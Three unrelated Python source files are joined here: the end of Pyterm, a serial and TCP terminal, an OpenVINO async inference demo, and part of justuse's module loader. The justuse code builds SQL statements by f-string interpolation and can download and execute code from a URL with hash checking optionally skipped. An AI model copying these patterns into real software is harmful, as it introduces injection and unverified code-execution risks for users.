.format(self.port, e.strerror)) sys.exit(1) # wait until connection is established and fire startup # commands to the node time.sleep(1) for cmd in self.init_cmd: self.logger.debug("WRITE ----->>>>>> '" + cmd + "'\n") self.onecmd(self.precmd(cmd)) # start serial->console thread receiver_thread = threading.Thread(target=self.reader) receiver_thread.setDaemon(1) receiver_thread.start() def precmd(self, line): """Check for command prefixes to distinguish between Pyterm interal commands and commands that should be send to the node. """ self.logger.debug("processing line #%s#" % line) if (line.startswith("/")): return "PYTERM_" + line[1:] return line def default(self, line): """In case of no Pyterm specific prefix is detected, split string by colons and send it to the node. """ self.logger.debug("%s is no pyterm command, sending to default " "out" % line) for tok in line.split(';'): tok = self.get_alias(tok) if sys.version_info[0] == 2: self.ser.write((tok.strip() + "\n").decode("utf-8").encode("utf-8")) else: self.ser.write((tok.strip() + "\n").encode("utf-8")) def do_help(self, line): """Do not use Cmd's internal help function, but redirect to the node. """ self.ser.write("help\n".encode("utf-8")) def complete_date(self, text, line, begidx, endidm): """Auto completion for date string. """ date = time.strftime("%Y-%m-%d %H:%M:%S") return ["%s" % (date)] def do_PYTERM_reset(self, line): """Pyterm command: Send a reset to the node. """ self.ser.setDTR(1) self.ser.setDTR(0) def do_PYTERM_exit(self, line, unused=None): """Pyterm command: Exit Pyterm. """ self.logger.info("Exiting Pyterm") # save history file readline.write_history_file() # shut down twisted if running try: if reactor.running: reactor.callFromThread(reactor.stop) except NameError: pass if self.tcp_serial: self.ser.close() return True def do_PYTERM_save(self, line): """Pyterm command: Save Pyterm configuration to file. """ if not self.config.has_section("general"): self.config.add_section("general") self.config.set("general", "port", self.port) if len(self.aliases): if not self.config.has_section("aliases"): self.config.add_section("aliases") for alias in self.aliases: self.config.set("aliases", alias, self.aliases[alias]) if len(self.triggers): if not self.config.has_section("triggers"): self.config.add_section("triggers") for trigger in self.triggers: self.config.set("triggers", trigger.pattern, self.triggers[trigger]) if len(self.json_regs): if not self.config.has_section("json_regs"): self.config.add_section("json_regs") for j in self.json_regs: self.config.set("json_regs", j, self.json_regs[j].pattern) if len(self.filters): if not self.config.has_section("filters"): self.config.add_section("filters") i = 0 for r in self.filters: self.config.set("filters", "filter%i" % i, r.pattern) i += 1 if len(self.ignores): if not self.config.has_section("ignores"): self.config.add_section("ignores") i = 0 for r in self.ignores: self.config.set("ignores", "ignore%i" % i, r.pattern) i += 1 if len(self.init_cmd): if not self.config.has_section("init_cmd"): self.config.add_section("init_cmd") i = 0 for ic in self.init_cmd: self.config.set("init_cmd", "init_cmd%i" % i, ic) i += 1 with open(self.configdir + os.path.sep + self.configfile, 'wb')\ as config_fd: self.config.write(config_fd) self.logger.info("Config saved") def do_PYTERM_show_config(self, line): """Pyterm command: Show current configuration. """ for key in self.__dict__: print(str(key) + ": " + str(self.__dict__[key])) def do_PYTERM_alias(self, line): """Pyterm command: Register an alias or show an list of all registered aliases. """ if line.endswith("list"): for alias in self.aliases: self.logger.info("%s = %s" % (alias, self.aliases[alias])) return if not line.count("="): sys.stderr.write("Usage: /alias <ALIAS> = <CMD>\n") return alias = line.split('=')[0].strip() command = line[line.index('=')+1:].strip() self.logger.info("adding command %s for alias %s" % (command, alias)) self.aliases[alias] = command def do_PYTERM_rmalias(self, line): """Pyterm command: Unregister an alias. """ if not self.aliases.pop(line, None): sys.stderr.write("Alias not found") def get_alias(self, tok): """Internal function to check for aliases. """ for alias in self.aliases: if tok.split()[0] == alias: return self.aliases[alias] + tok[len(alias):] return tok def do_PYTERM_trigger(self, line): """Pyterm command: Register an trigger Regex. """ if not line.count("="): sys.stderr.write("Usage: /trigger <regex> = <CMD>\n") return trigger = line.split('=')[0].strip() action = line[line.index('=')+1:].strip() self.logger.info("adding action %s for trigger %s" % (action, trigger)) self.triggers[re.compile(trigger)] = action def do_PYTERM_rmtrigger(self, line): """Pyterm command: Unregister an trigger. """ if not self.triggers.pop(line, None): sys.stderr.write("Trigger not found") def do_PYTERM_ignore(self, line): """Pyterm command: Ignore lines with these Regexes matching. """ self.ignores.append(re.compile(line.strip())) def do_PYTERM_unignore(self, line): """Pyterm command: Remote an ignore Regex. """ for r in self.ignores: if (r.pattern == line.strip()): self.logger.info("Remove ignore for %s" % r.pattern) self.ignores.remove(r) return sys.stderr.write("Ignore for %s not found\n" % line.strip()) def do_PYTERM_filter(self, line): """Pyterm command: Show only lines matching this Regex. """ self.filters.append(re.compile(line.strip())) def do_PYTERM_unfilter(self, line): """Pyterm command: Remove a filter. """ for r in self.filters: if (r.pattern == line.strip()): self.logger.info("Remove filter for %s" % r.pattern) self.filters.remove(r) return sys.stderr.write("Filter for %s not found\n" % line.strip()) def do_PYTERM_json(self, line): """Pyterm command: Transfer lines matching this Regex as JSON object. """ self.json_regs[line.split(' ')[0].strip()] =\ re.compile(line.partition(' ')[2].strip()) def do_PYTERM_unjson(self, line): """Pyterm command: Remove a JSON filter. """ if not self.aliases.pop(line, None): sys.stderr.write("JSON regex with ID %s not found" % line) def do_PYTERM_init(self, line): """Pyterm command: Add a startup command. (Only useful in addition with /save). """ self.init_cmd.append(line.strip()) def do_PYTERM_timer(self, line): """Pyterm command: Scheduler a timer.""" line = line.strip() argv = line.partition(' ') if (len(argv[2]) == 0): sys.stderr.write("Usage: /timer <interval> <command>\n") return interval = int(argv[0]) cmd = argv[2] self.logger.info("Schedule %s to fire after %i seconds" % (cmd, interval)) t = threading.Timer(interval, self.timer_handler, (cmd,)) t.start() def load_config(self): """Internal function to laod configuration from file. """ self.config = configparser.SafeConfigParser() self.config.read([self.configdir + os.path.sep + self.configfile]) for sec in self.config.sections(): if sec == "filters": for opt in self.config.options(sec): self.filters.append( re.compile(self.config.get(sec, opt))) if sec == "ignores": for opt in self.config.options(sec): self.ignores.append( re.compile(self.config.get(sec, opt))) if sec == "json_regs": for opt in self.config.options(sec): self.logger.info("add json regex for %s" % self.config.get(sec, opt)) self.json_regs[opt] = re.compile(self.config.get(sec, opt)) if sec == "aliases": for opt in self.config.options(sec): self.aliases[opt] = self.config.get(sec, opt) if sec == "triggers": for opt in self.config.options(sec): self.triggers[re.compile(opt)] = \ self.config.get(sec, opt) if sec == "init_cmd": for opt in self.config.options(sec): self.init_cmd.append(self.config.get(sec, opt)) else: for opt in self.config.options(sec): if opt not in self.__dict__: self.__dict__[opt] = self.config.get(sec, opt) def timer_handler(self, line): """Handles a scheduled timer event. Args: line (str): the command line to be executed, when the timer fires. """ self.logger.debug("Firing timer with %s" % line) self.onecmd(self.precmd(line + '\n')) def process_line(self, line): """Processes a valid line from node that should be printed and possibly forwarded. Args: line (str): input from node. """ self.logger.info(line) # check if line matches a trigger and fire the command(s) for trigger in self.triggers: self.logger.debug("comparing input %s to trigger %s" % (line, trigger.pattern)) m = trigger.search(line) if m: self.onecmd(self.precmd(self.triggers[trigger])) # ckecking if the line should be sent as JSON object to a tcp # server if (len(self.json_regs)) and self.factory and self.factory.myproto: for j in self.json_regs: m = self.json_regs[j].search(line) if m: try: json_obj = '{"jid":%d, ' % int(j) except ValueError: sys.stderr.write("Invalid JID: %s\n" % j) break json_obj += '"raw":"%s", ' % line json_obj += '"date":%s, ' % int(time.time()*1000) for g in m.groupdict(): try: json_obj += '"%s":%d, ' \ % (g, int(m.groupdict()[g])) except ValueError: json_obj += '"%s":"%s", ' \ % (g, m.groupdict()[g]) # eliminate the superfluous last ", " json_obj = json_obj[:-2] json_obj += "}" self.factory.myproto.sendMessage(json_obj) def handle_line(self, line): """Handle line from node and check for further processing requirements. Args: line (str): input line from node. """ # First check if line should be ignored ignored = False if (len(self.ignores)): for i in self.ignores: if i.search(line): ignored = True break # now check if filter rules should be applied if (len(self.filters)): for r in self.filters: if r.search(line): if not ignored: self.process_line(line) # if neither nor applies print the line else: if not ignored: self.process_line(line) def serial_connect(self): self.ser = serial.Serial(port=self.port, dsrdtr=0, rtscts=0) self.ser.baudrate = self.baudrate if self.toggle: self.ser.setDTR(0) self.ser.setRTS(0) def reader(self): """Serial or TCP reader. """ output = "" crreceived = False nlreceived = False while (1): # check if serial port can be accessed. try: sr = codecs.getreader("UTF-8")(self.ser, errors='replace') c = sr.read(1) # try to re-open it with a timeout of 1s otherwise except (serial.SerialException, ValueError) as se: self.logger.warn("Serial port disconnected, waiting to " "get reconnected...") self.ser.close() time.sleep(1) if os.path.exists(self.port): self.logger.warn("Try to reconnect to %s again..." % (self.port)) self.serial_connect() continue if c == '\r': if (self.newline == "LFCR" and nlreceived) or (self.newline == "CR"): self.handle_line(output) output = "" elif c == '\n': if (self.newline == "CRLF" and crreceived) or (self.newline == "LF"): self.handle_line(output) output = "" else: output += c crreceived = c == '\r' nlreceived = c == '\n' class PytermProt(Protocol): def __init__(self, factory): self.factory = factory def connectionMade(self): print("writing to transport") self.transport.write("hostname: %s\n" % (self.factory.shell.host)) def dataReceived(self, data): sys.stdout.write(data) if(data.strip() == "/exit"): reactor.callLater(2, self.factory.shell.do_PYTERM_exit, data) else: self.factory.shell.ser.write(data + "\n") def sendMessage(self, msg): self.transport.writeSomeData("%d#%s\n" % (len(msg), msg)) class PytermClientFactory(ReconnectingClientFactory): def __init__(self, shell=None): self.myproto = None self.shell = shell def buildProtocol(self, addr): print('Connected.') self.resetDelay() self.myproto = PytermProt(self) return self.myproto def clientConnectionLost(self, connector, reason): if reactor.running: print('Lost connection. Reason:', reason) ReconnectingClientFactory.clientConnectionLost(self, connector, reason) def clientConnectionFailed(self, connector, reason): print('Connection failed. Reason:', reason) ReconnectingClientFactory.clientConnectionFailed(self, connector, reason) def __stop_reactor(signum, stackframe): sys.stderr.write("Ctrl-C is disabled, type '/exit' instead\n") class fdsocket(socket.socket): def read(self, bufsize): return self.recv(bufsize) def write(self, string): try: return self.sendall(string) except socket.error as e: logging.getLogger("").warn("Error in TCP connection (%s), " "closing down" % str(e)) self.close() sys.exit(0) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Pyterm - The Python " "terminal program") parser.add_argument("-p", "--port", help="Specifies the serial port to use, default is %s" % defaultport, default=defaultport) parser.add_argument("-ts", "--tcp-serial", help="Connect to a TCP port instead of a serial port. " "Format is <hostname>:<port>. If the colon is missing" " host defaults to \"localhost\"") parser.add_argument("-b", "--baudrate", help="Specifies baudrate for the serial port, default " "is %s" % defaultbaud, default=defaultbaud) parser.add_argument("-tg", "--toggle", action="store_true", help="toggles the DTR and RTS pin of the serial line " "when connecting, default is not toggling the pins") parser.add_argument('-d', '--directory', help="Specify the Pyterm directory, default is %s" % defaultdir, default=defaultdir) parser.add_argument("-c", "--config", help="Specify the config filename, default is %s" % defaultfile, default=defaultfile) parser.add_argument("-s", "--server", help="Connect via TCP to this server to send output " "as JSON") parser.add_argument("-P", "--tcp_port", type=int, help="Port at the JSON server") parser.add_argument("-H", "--host", help="Hostname of this maschine") parser.add_argument("-rn", "--run-name", help="Run name, used for logfile") parser.add_argument("-ln", "--log-dir-name", help="Log directory name (default is hostname + " "run-name e.g. %s/<hostname>/<run-name>)" % defaultdir) parser.add_argument("-nl", "--newline", help="Specify the newline character(s) as a combination " "of CR and LF. Examples: -nl=LF, -nl=CRLF. " "(Default is %s)" % defaultnewline, default=defaultnewline) args = parser.parse_args() myshell = SerCmd(args.port, args.baudrate, args.toggle, args.tcp_serial, args.directory, args.config, args.host, args.run_name, args.log_dir_name, args.newline) myshell.prompt = '' if args.server and args.tcp_port: myfactory = PytermClientFactory(myshell) reactor.connectTCP(args.server, args.tcp_port, myfactory) myshell.factory = myfactory reactor.callInThread(myshell.cmdloop, "Welcome to pyterm!\n" "Type '/exit' to exit.") signal.signal(signal.SIGINT, __stop_reactor) reactor.run() else: myshell.cmdloop("Welcome to pyterm!\nType '/exit' to exit.")
async_api_multi-processes.py
#!/usr/bin/env python3 import cv2 import os import sys import time import numpy as np from openvino.inference_engine import IENetwork, IEPlugin from multiprocessing import Process, Queue import multiprocessing import threading import queue def async_infer_worker(exec_net, image_queue, input_blob, out_blob): global start_time current_inference, next_inference = 0, 1 infered_images = 0 while True: image = image_queue.get() if type(image) != np.ndarray: break exec_net.start_async(request_id=current_inference, inputs={input_blob: image}) if exec_net.requests[next_inference].wait(-1) == 0: infered_images = infered_images + 1 res = exec_net.requests[next_inference].outputs[out_blob] #print("infer result: label:%f confidence:%f left:%f top:%f right:%f bottom:%f" %(res[0][0][0][1], res[0][0][0][2], res[0][0][0][3], res[0][0][0][4], res[0][0][0][5], res[0][0][0][6])) duration = time.time() - start_time print("inferred frames: " + str(infered_images) + ", average fps: " + str(infered_images/duration) +"\r", end = '', flush = False) current_inference, next_inference = next_inference, current_inference # one more inference result left to check if exec_net.requests[next_inference].wait(-1) == 0: infered_images = infered_images + 1 res = exec_net.requests[next_inference].outputs[out_blob] #print("infer result: label:%f confidence:%f left:%f top:%f right:%f bottom:%f" %(res[0][0][0][1], res[0][0][0][2], res[0][0][0][3], res[0][0][0][4], res[0][0][0][5], res[0][0][0][6])) duration = time.time() - start_time print("inferred frames: " + str(infered_images) + ", average fps: " + str(infered_images/duration) +"\r", end = '', flush = False) # for test purpose only image_number = 200 def image_process_worker(image_queue, n, c, h, w): for i in range(1, 1 + image_number): image = cv2.imread("/opt/intel/computer_vision_sdk/deployment_tools/demo/car.png") image = cv2.resize(image, (w, h)) image = image.transpose((2, 0, 1)) image = image.reshape((n, c, h, w)) image_queue.put(image) image_queue.put(None) start_time = -1 def main(): global start_time image_queue = multiprocessing.Queue(maxsize= 4) model_dir = os.environ['HOME'] + "/model_downloader/object_detection/common/mobilenet-ssd/caffe/FP16/" model_xml = model_dir + "mobilenet-ssd.xml" model_bin = model_dir + "mobilenet-ssd.bin" plugin = IEPlugin(device="MYRIAD") net = IENetwork(model=model_xml, weights=model_bin) input_blob = next(iter(net.inputs)) out_blob = next(iter(net.outputs)) n, c, h, w = net.inputs[input_blob].shape exec_net = plugin.load(network=net, num_requests=2) start_time = time.time() preprocess_process = None preprocess_process = multiprocessing.Process(target=image_process_worker, args=(image_queue, n, c, h, w)) preprocess_process.start() async_infer_worker(exec_net, image_queue, input_blob, out_blob) preprocess_process.join() print() del exec_net del net del plugin if __name__ == '__main__': sys.exit(main() or 0)
main.py
""" Main classes that act as API for the user to interact with. """ import asyncio import atexit import hashlib import importlib.util import inspect import os import sqlite3 import sys import tempfile import threading import time import traceback from atexit import register from logging import DEBUG, INFO, NOTSET, getLogger, root from pathlib import Path from types import ModuleType from typing import Any, Optional, Type, Union from warnings import warn import requests import toml from furl import furl as URL from icontract import ensure, invariant, require from use import ( AmbiguityWarning, Hash, Modes, ModInUse, NotReloadableWarning, NoValidationWarning, UnexpectedHash, VersionWarning, __version__, buffet_table, config, home, isfunction, ) from use.aspectizing import aspect from use.hash_alphabet import JACK_as_num, is_JACK, num_as_hexdigest from use.messages import Message from use.pimp import _build_mod, _ensure_path, _fail_or_default, _parse_name from use.pypi_model import Version from use.tools import methdispatch log = getLogger(__name__) # internal subpackage imports test_config: str = locals().get("test_config", {}) test_version: str = locals().get("test_version", None) _reloaders: dict["ProxyModule", "ModuleReloader"] = {} # ProxyModule:Reloader _using = {} # sometimes all you need is a sledge hammer.. @register def _release_locks(): for _ in range(2): [lock.unlock() for lock in threading._shutdown_locks] [reloader.stop() for reloader in _reloaders.values()] class ProxyModule(ModuleType): def __init__(self, mod): self.__implementation = mod self.__condition = threading.RLock() def __getattribute__(self, name): if name in ( "_ProxyModule__implementation", "_ProxyModule__condition", "", "__class__", "__metaclass__", "__instancecheck__", ): return object.__getattribute__(self, name) with self.__condition: return getattr(self.__implementation, name) def __setattr__(self, name, value): if name in ( "_ProxyModule__implementation", "_ProxyModule__condition", ): object.__setattr__(self, name, value) return with self.__condition: setattr(self.__implementation, name, value) def __matmul__(self, other: tuple): thing = self.__implementation check, qual_name, decorator = other if len(other) == 2: pass if len(other) >= 3: #instead of pass: We have the behavior of not decorating anything with the function #after that we have the func.__name__ as an exception, we can put those into a tuple pass #after this we return the a non-recursive copy of aspect() return Dynamic_aspect( thing, check, pattern, qual_name, decorator, aspectize_dunders=False, excluded_names={}, excluded_types={ ProxyModule, }, ) def __call__(self, *args, **kwargs): with self.__condition: return self.__implementation(*args, **kwargs) class ModuleReloader: def __init__(self, *, proxy, name, path, package_name, initial_globals): self.proxy = proxy "ProxyModula that we refer to." self.name = name self.path = path self.package_name = package_name self.initial_globals = initial_globals self._condition = threading.RLock() self._stopped = True self._thread = None def start_async(self): loop = asyncio.get_running_loop() loop.create_task(self.run_async()) @require(lambda self: self._thread is None or self._thread.is_alive()) def start_threaded(self): self._stopped = False atexit.register(self.stop) self._thread = threading.Thread(target=self.run_threaded, name=f"reloader__{self.name}") self._thread.start() async def run_async(self): last_filehash = None while not self._stopped: with open(self.path, "rb") as file: code = file.read() current_filehash = hashlib.blake2b(code).hexdigest() if current_filehash != last_filehash: try: mod = _build_mod( name=self.name, code=code, initial_globals=self.initial_globals, module_path=self.path.resolve(), ) self.proxy.__implementation = mod except KeyError: print(traceback.format_exc()) last_filehash = current_filehash await asyncio.sleep(1) def run_threaded(self): last_filehash = None while not self._stopped: with self._condition: with open(self.path, "rb") as file: code = file.read() current_filehash = hashlib.blake2b(code).hexdigest() if current_filehash != last_filehash: try: mod = _build_mod( name=self.name, code=code, initial_globals=self.initial_globals, module_path=self.path, ) self.proxy._ProxyModule__implementation = mod except KeyError: print(traceback.format_exc()) last_filehash = current_filehash time.sleep(1) def stop(self): self._stopped = True def __del__(self): self.stop() class Use(ModuleType): # MODES to reduce signature complexity # enum.Flag wasn't viable, but this alternative is actually pretty cool auto_install = Modes.auto_install fatal_exceptions = Modes.fatal_exceptions reloading = Modes.reloading no_public_installation = Modes.no_public_installation def __init__(self): # TODO for some reason removing self._using isn't as straight forward.. self._using = _using # might run into issues during testing otherwise self.registry = self._set_up_registry() "Registry sqlite DB to store all relevant package metadata." self._user_registry = toml.load(home / "user_registry.toml") "User can override package directories via user_registry.toml" # for the user to copy&paste with open(home / "config_defaults.toml", "w") as rfile: toml.dump(config, rfile) with open(home / "config.toml") as rfile: config.update(toml.load(rfile)) config.update(test_config) if config["debugging"]: root.setLevel(DEBUG) if config["version_warning"]: try: response = requests.get("https://pypi.org/pypi/justuse/json") "Checking if there's a new version of justuse." data = response.json() max_version = max(Version(version) for version in data["releases"].keys()) target_version = max_version this_version = __version__ if Version(this_version) < target_version: warn( Message.use_version_warning(target_version), VersionWarning, ) except (KeyError, requests.exceptions.ConnectionError): if test_version: raise log.error( traceback.format_exc() ) # we really don't need to bug the user about this (either pypi is down or internet is broken) def _sqlite_row_factory(self, cursor, row): return {col[0]: row[idx] for idx, col in enumerate(cursor.description)} def _set_up_registry(self, path: Optional[Path] = None): registry = None if path or test_version and "DB_TEST" not in os.environ: registry = sqlite3.connect(path or ":memory:").cursor() else: try: registry = sqlite3.connect(home / "registry.db").cursor() except Exception as e: raise RuntimeError(Message.couldnt_connect_to_db(e)) registry.row_factory = self._sqlite_row_factory registry.execute("PRAGMA foreign_keys=ON") registry.execute("PRAGMA auto_vacuum = FULL") registry.executescript( """ CREATE TABLE IF NOT EXISTS "artifacts" ( "id" INTEGER, "distribution_id" INTEGER, "import_relpath" TEXT, "artifact_path" TEXT, "module_path" TEXT, PRIMARY KEY("id" AUTOINCREMENT), FOREIGN KEY("distribution_id") REFERENCES "distributions"("id") ON DELETE CASCADE ); CREATE TABLE IF NOT EXISTS "distributions" ( "id" INTEGER, "name" TEXT NOT NULL, "version" TEXT NOT NULL, "installation_path" TEXT, "date_of_installation" INTEGER, "number_of_uses" INTEGER, "date_of_last_use" INTEGER, "pure_python_package" INTEGER NOT NULL DEFAULT 1, PRIMARY KEY("id" AUTOINCREMENT) ); CREATE TABLE IF NOT EXISTS "hashes" ( "algo" TEXT NOT NULL, "value" TEXT NOT NULL, "artifact_id" INTEGER NOT NULL, PRIMARY KEY("algo","value"), FOREIGN KEY("artifact_id") REFERENCES "artifacts"("id") ON DELETE CASCADE ); CREATE TABLE IF NOT EXISTS "depends_on" ( "origin_path" TEXT, "target_path" TEXT , "time_of_use" INTEGER) """ ) registry.connection.commit() return registry def recreate_registry(self): self.registry.close() self.registry.connection.close() self.registry = None number_of_backups = len(list((home / "registry.db").glob("*.bak"))) (home / "registry.db").rename(home / f"registry.db.{number_of_backups + 1}.bak") (home / "registry.db").touch(mode=0o644) self.registry = self._set_up_registry() self.cleanup() def install(self): # yeah, really.. __builtins__ sometimes appears as a dict and other times as a module, don't ask me why if isinstance(__builtins__, dict): __builtins__["use"] = self elif isinstance(__builtins__, ModuleType): setattr(__builtins__, "use", self) else: raise RuntimeWarning("__builtins__ is something unexpected") def uninstall(self): if isinstance(__builtins__, dict): if "use" in __builtins__: del __builtins__["use"] elif isinstance(__builtins__, ModuleType): if hasattr(__builtins__, "use"): delattr(__builtins__, "use") else: raise RuntimeWarning("__builtins__ is something unexpected") def del_entry(self, name, version): # TODO: CASCADE to artifacts etc self.registry.execute( "DELETE FROM hashes WHERE artifact_id IN (SELECT id FROM artifacts WHERE distribution_id IN (SELECT id FROM distributions WHERE name=? AND version=?))", (name, str(version)), ) self.registry.execute( "DELETE FROM artifacts WHERE distribution_id IN (SELECT id FROM distributions WHERE name=? AND version=?)", (name, str(version)), ) self.registry.execute("DELETE FROM distributions WHERE name=? AND version=?", (name, str(version))) self.registry.connection.commit() def cleanup(self): """Bring registry and downloaded packages in sync. First all packages are removed that don't have a matching registry entry, then all registry entries that don't have a matching pkg. """ def delete_folder(path): for sub in path.iterdir(): if sub.is_dir(): delete_folder(sub) else: sub.unlink() path.rmdir() for name, version, artifact_path, installation_path in self.registry.execute( "SELECT name, version, artifact_path, installation_path FROM distributions JOIN artifacts on distributions.id = distribution_id" ).fetchall(): if not (_ensure_path(artifact_path).exists() and _ensure_path(installation_path).exists()): self.del_entry(name, version) self.registry.connection.commit() def _save_module_info( self, *, version: Version, artifact_path: Optional[Path], hash_value=Optional[str], installation_path=Path, module_path: Optional[Path], name: str, import_relpath: str, hash_algo=Hash.sha256, ): """Update the registry to contain the pkg's metadata.""" if not self.registry.execute( f"SELECT * FROM distributions WHERE name='{name}' AND version='{version}'" ).fetchone(): self.registry.execute( f""" INSERT INTO distributions (name, version, installation_path, date_of_installation, pure_python_package) VALUES ('{name}', '{version}', '{installation_path}', {time.time()}, {installation_path is None}) """ ) self.registry.execute( f""" INSERT OR IGNORE INTO artifacts (distribution_id, import_relpath, artifact_path, module_path) VALUES ({self.registry.lastrowid}, '{import_relpath}', '{artifact_path}', '{module_path}') """ ) self.registry.execute( f""" INSERT OR IGNORE INTO hashes (artifact_id, algo, value) VALUES ({self.registry.lastrowid}, '{hash_algo.name}', '{hash_value}')""" ) self.registry.connection.commit() def _set_mod(self, *, name, mod, frame, path=None, spec=None): """Helper to get the order right.""" self._using[name] = ModInUse(name, mod, path, spec, frame) @methdispatch def __call__(self, thing, /, *args, **kwargs): raise NotImplementedError(Message.cant_use(thing)) @require(lambda hash_algo: hash_algo in Hash) @require(lambda as_import: as_import.isidentifier()) @__call__.register(URL) def _use_url( self, url: URL, /, *, hash_algo=Hash.sha256, hash_value=None, initial_globals: Optional[dict[Any, Any]] = None, as_import: str = None, default=Modes.fastfail, modes=0, ) -> ProxyModule: log.debug(f"use-url: {url}") exc = None reckless = Modes.recklessness & modes response = requests.get(str(url)) if response.status_code != 200: raise ImportError(Message.web_error(url, response)) this_hash = hash_algo.value(response.content).hexdigest() if hash_value and not reckless: if this_hash != hash_value: return _fail_or_default( UnexpectedHash(f"{this_hash} does not match the expected hash {hash_value} - aborting!"), default, ) else: warn(Message.no_validation(url, hash_algo, this_hash), NoValidationWarning) name = url.path.segments[-1] try: mod = _build_mod( name=name, code=response.content, module_path=_ensure_path(url.path), initial_globals=initial_globals, ) except KeyError: raise if exc: return _fail_or_default(ImportError(exc), default) frame = inspect.getframeinfo(inspect.currentframe()) self._set_mod(name=name, mod=mod, frame=frame) if as_import: sys.modules[as_import] = mod return ProxyModule(mod) @require(lambda as_import: as_import.isidentifier()) @__call__.register(Path) def _use_path( self, path, /, *, package_name=None, initial_globals=None, as_import: str = None, default=Modes.fastfail, modes=0, ) -> ProxyModule: """Import a module from a path. https://github.com/amogorkon/justuse/wiki/Use-Path Args: path ([type]): must be a pathlib.Path initial_globals ([type], optional): dict that should be globally available to the module before executing it. Defaults to None. default ([type], optional): Return instead if an exception is encountered. modes (int, optional): [description]. Defaults to 0; Acceptable mode for this variant: use.reloading. Returns: Optional[ModuleType]: The module if it was imported, otherwise whatever was specified as default. """ log.info(f"use-path: {path}: {Path.cwd()=} {package_name=}") initial_globals = initial_globals or {} reloading = bool(Use.reloading & modes) exc = None mod = None if path.is_dir(): return _fail_or_default(ImportError(f"Can't import directory {path}"), default) original_cwd = source_dir = Path.cwd() log.info(f"{original_cwd=} {source_dir=}") try: # calling from another use()d module # let's see where we started main_mod = __import__("__main__") # there are a number of ways to call use() from a non-use() starting point # let's first check if we are running in jupyter jupyter = "ipykernel" in sys.modules # we're in jupyter, we use the CWD as set in the notebook if not jupyter and hasattr(main_mod, "__file__"): source_dir = ( _ensure_path(inspect.currentframe().f_back.f_back.f_code.co_filename).resolve().parent ) if source_dir is None: if main_mod.__loader__ and hasattr(main_mod.__loader__, "path"): source_dir = _ensure_path(main_mod.__loader__.path).parent else: source_dir = Path.cwd() if not source_dir.joinpath(path).exists(): if files := [*[*source_dir.rglob(f"**/{path}")]]: source_dir = _ensure_path(files[0]).parent else: source_dir = Path.cwd() if not source_dir.exists(): return _fail_or_default( NotImplementedError("Can't determine a relative path from a virtual file."), default, ) if not path.exists(): path = source_dir.joinpath(path).resolve() if not path.exists(): return _fail_or_default(ImportError(f"Sure '{path}' exists?"), default) if not path.is_absolute(): path = path.resolve() try: name = path.relative_to(source_dir) except ValueError: source_dir = path.parent os.chdir(source_dir) name = path.relative_to(source_dir) ext = name.as_posix().rpartition(".")[-1] name_as_path_with_ext = name.as_posix() name_as_path = name_as_path_with_ext[: -len(ext) - (1 if ext else 0)] name = name_as_path.replace("/", ".") name_parts = name.split(".") package_name = package_name or ".".join(name_parts[:-1]) log.info(f"{package_name=}, {name=}") # os.chdir(path.parent) # name = path.stem if reloading: try: with open(path, "rb") as rfile: code = rfile.read() # initial instance, if this doesn't work, just throw the towel mod = _build_mod( name=name, code=code, initial_globals=initial_globals, module_path=path.resolve(), package_name=package_name, ) except KeyError: exc = traceback.format_exc() if exc: return _fail_or_default(ImportError(exc), default) mod = ProxyModule(mod) reloader = ModuleReloader( proxy=mod, name=name, path=path, initial_globals=initial_globals, package_name=package_name, ) _reloaders[mod] = reloader threaded = False # this looks like a hack, but isn't one - # jupyter is running an async loop internally, which works better async than threaded! try: asyncio.get_running_loop() # we're dealing with non-async code, we need threading except RuntimeError: # can't have the code inside the handler because of "during handling of X, another exception Y happened" threaded = True if not threaded: reloader.start_async() else: reloader.start_threaded() if not all( isfunction(value) for key, value in mod.__dict__.items() if key not in initial_globals.keys() and not key.startswith("__") ): warn(Message.not_reloadable(name), NotReloadableWarning) else: # NOT reloading with open(path, "rb") as rfile: code = rfile.read() # the path needs to be set before attempting to load the new module - recursion confusing ftw! frame = inspect.getframeinfo(inspect.currentframe()) self._set_mod(name=name, mod=mod, frame=frame) try: mod = _build_mod( name=name, code=code, initial_globals=initial_globals, module_path=path, package_name=package_name, ) except KeyError: del self._using[name] exc = traceback.format_exc() except KeyError: exc = traceback.format_exc() finally: # let's not confuse the user and restore the cwd to the original in any case os.chdir(original_cwd) if exc: return _fail_or_default(ImportError(exc), default) if as_import: sys.modules[as_import] = mod frame = inspect.getframeinfo(inspect.currentframe()) self._set_mod(name=name, mod=mod, frame=frame) return ProxyModule(mod) @__call__.register(type(None)) # singledispatch is picky - can't be anything but a type def _use_kwargs( self, _: None, # sic! otherwise single-dispatch with 'empty' *args won't work /, *, package_name: str = None, module_name: str = None, version: str = None, hash_algo=Hash.sha256, hashes: Optional[Union[str, list[str]]] = None, default=Modes.fastfail, modes: int = 0, ) -> ProxyModule: """ Import a pkg by name. https://github.com/amogorkon/justuse/wiki/Use-String Args: name (str): The name of the pkg to import. version (str or Version, optional): The version of the pkg to import. Defaults to None. hash_algo (member of Use.Hash, optional): For future compatibility with more modern hashing algorithms. Defaults to Hash.sha256. hashes (str | [str]), optional): A single hash or list of hashes of the pkg to import. Defaults to None. default (anything, optional): Whatever should be returned in case there's a problem with the import. Defaults to mode.fastfail. modes (int, optional): Any combination of Use.modes . Defaults to 0. Raises: RuntimeWarning: May be raised if the auto-installation of the pkg fails for some reason. Returns: ProxyModule|Any: Module if successful, default as specified otherwise. """ log.debug(f"use-kwargs: {package_name} {module_name} {version} {hashes}") return self._use_package( name=f"{package_name}/{module_name}", package_name=package_name, module_name=module_name, version=version, hash_algo=hash_algo, hashes=hashes, default=default, auto_install=Modes.auto_install & modes, no_public_installation=Modes.no_public_installation & modes, fastfail=Modes.fastfail & modes, fatal_exceptions=Modes.fatal_exceptions & modes, ) @__call__.register(tuple) def _use_tuple( self, pkg_tuple, /, *, version: str = None, hash_algo=Hash.sha256, hashes: Optional[Union[str, list[str]]] = None, default=Modes.fastfail, modes: int = 0, ) -> ProxyModule: """ Import a pkg by name. https://github.com/amogorkon/justuse/wiki/Use-String Args: name (str): The name of the pkg to import. version (str or Version, optional): The version of the pkg to import. Defaults to None. hash_algo (member of Use.Hash, optional): For future compatibility with more modern hashing algorithms. Defaults to Hash.sha256. hashes (str | [str]), optional): A single hash or list of hashes of the pkg to import. Defaults to None. default (anything, optional): Whatever should be returned in case there's a problem with the import. Defaults to mode.fastfail. modes (int, optional): Any combination of Use.modes . Defaults to 0. Raises: RuntimeWarning: May be raised if the auto-installation of the pkg fails for some reason. Returns: ProxyModule|Any: Module if successful, default as specified otherwise. """ log.debug(f"use-tuple: 